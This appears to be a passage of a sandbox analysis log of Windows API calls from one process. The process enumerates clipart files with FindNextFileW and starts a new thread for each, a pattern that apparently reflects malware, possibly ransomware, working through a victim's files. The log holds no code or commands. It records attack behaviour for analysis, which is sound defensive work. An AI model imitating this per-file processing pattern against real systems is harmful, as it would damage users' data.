	[0235.518] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.518] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7507bb00, ftCreationTime.dwHighDateTime=0x1bd4b36, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7507bb00, ftLastWriteTime.dwHighDateTime=0x1bd4b36, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH01013_.WMF", cAlternateFileName="")) returned 1
	[0235.518] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.519] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14ec
	[0235.520] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.521] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x47c, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH01015_.WMF", cAlternateFileName="")) returned 1
	[0235.521] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.521] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14f0
	[0235.522] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.523] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x436e0000, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x436e0000, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH01058_.WMF", cAlternateFileName="")) returned 1
	[0235.523] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.524] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14f4
	[0235.525] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.526] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39e49800, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39e49800, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH01065_.WMF", cAlternateFileName="")) returned 1
	[0235.526] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.527] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14f8
	[0235.528] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.529] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25a09b00, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25a09b00, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x1388, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH01080_.WMF", cAlternateFileName="")) returned 1
	[0235.529] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.530] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14fc
	[0235.530] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.531] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1cac, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH01242_.WMF", cAlternateFileName="")) returned 1
	[0235.531] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.532] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1500
	[0235.768] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.769] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3dbe, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH01291_.WMF", cAlternateFileName="")) returned 1
	[0235.769] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1504
	[0235.771] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.771] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1780, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH01329_.WMF", cAlternateFileName="")) returned 1
	[0235.771] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.772] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1508
	[0235.773] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.774] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90080a00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90080a00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1746, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH01461_.WMF", cAlternateFileName="")) returned 1
	[0235.774] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x150c
	[0235.776] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.776] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c80, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH01618_.WMF", cAlternateFileName="")) returned 1
	[0235.777] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1510
	[0235.779] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.779] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83101700, ftCreationTime.dwHighDateTime=0x1bd4bdc, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83101700, ftLastWriteTime.dwHighDateTime=0x1bd4bdc, nFileSizeHigh=0x0, nFileSizeLow=0x1526, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH01759_.WMF", cAlternateFileName="")) returned 1
	[0235.779] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.780] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1514
	[0235.781] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.781] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b938600, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b938600, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH01875_.WMF", cAlternateFileName="")) returned 1
	[0235.781] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.782] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1518
	[0235.783] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.784] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71426a00, ftCreationTime.dwHighDateTime=0x1bd4c04, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71426a00, ftLastWriteTime.dwHighDateTime=0x1bd4c04, nFileSizeHigh=0x0, nFileSizeLow=0x6852, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH01923_.WMF", cAlternateFileName="")) returned 1
	[0235.784] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.784] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x151c
	[0235.786] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.786] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa90, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH02155_.WMF", cAlternateFileName="")) returned 1
	[0235.786] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.787] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1520
	[0235.788] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.789] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b48ba00, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b48ba00, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x52c, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH02166_.WMF", cAlternateFileName="")) returned 1
	[0235.789] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.790] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1524
	[0235.791] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.792] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1e4b800, ftCreationTime.dwHighDateTime=0x1bd4bf1, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1e4b800, ftLastWriteTime.dwHighDateTime=0x1bd4bf1, nFileSizeHigh=0x0, nFileSizeLow=0x1efc, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH02282_.WMF", cAlternateFileName="")) returned 1
	[0235.792] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.792] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1528
	[0235.793] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.794] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fa59600, ftCreationTime.dwHighDateTime=0x1bd4bf5, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5fa59600, ftLastWriteTime.dwHighDateTime=0x1bd4bf5, nFileSizeHigh=0x0, nFileSizeLow=0x15b0, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH02298_.WMF", cAlternateFileName="")) returned 1
	[0235.794] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.795] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x152c
	[0235.796] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.797] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3cd4300, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3cd4300, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x136a, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH02312_.WMF", cAlternateFileName="")) returned 1
	[0235.797] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.798] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1530
	[0235.798] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.799] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949ef200, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x949ef200, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH02313_.WMF", cAlternateFileName="")) returned 1
	[0235.799] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1534
	[0235.930] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.930] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58502100, ftCreationTime.dwHighDateTime=0x1bf0ae8, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58502100, ftLastWriteTime.dwHighDateTime=0x1bf0ae8, nFileSizeHigh=0x0, nFileSizeLow=0x5b04, dwReserved0=0x72, dwReserved1=0x0, cFileName="HM00005_.WMF", cAlternateFileName="")) returned 1
	[0235.931] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.931] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1538
	[0235.933] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.934] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc19dc700, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc19dc700, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x5664, dwReserved0=0x72, dwReserved1=0x0, cFileName="HM00114_.WMF", cAlternateFileName="")) returned 1
	[0235.934] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.935] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x153c
	[0235.936] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.937] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a1f0e00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a1f0e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x3dec, dwReserved0=0x72, dwReserved1=0x0, cFileName="HM00116_.WMF", cAlternateFileName="")) returned 1
	[0235.937] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.938] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1540
	[0235.939] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.940] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bef4100, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bef4100, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x72, dwReserved1=0x0, cFileName="HM00172_.WMF", cAlternateFileName="")) returned 1
	[0235.940] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.941] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1544
	[0235.942] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.943] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7410300, ftCreationTime.dwHighDateTime=0x1bf3bd8, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7410300, ftLastWriteTime.dwHighDateTime=0x1bf3bd8, nFileSizeHigh=0x0, nFileSizeLow=0x10ca8, dwReserved0=0x72, dwReserved1=0x0, cFileName="HM00426_.WMF", cAlternateFileName="")) returned 1
	[0235.943] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.944] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1548
	[0235.945] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.946] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a, dwReserved0=0x72, dwReserved1=0x0, cFileName="HTECH_01.MID", cAlternateFileName="")) returned 1
	[0235.946] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.947] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x154c
	[0235.948] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.949] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c11ec00, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c11ec00, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x72, dwReserved1=0x0, cFileName="IN00046_.WMF", cAlternateFileName="")) returned 1
	[0235.949] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.950] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1550
	[0235.952] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.952] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20f3db00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20f3db00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x72, dwReserved1=0x0, cFileName="IN00118_.WMF", cAlternateFileName="")) returned 1
	[0235.953] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1554
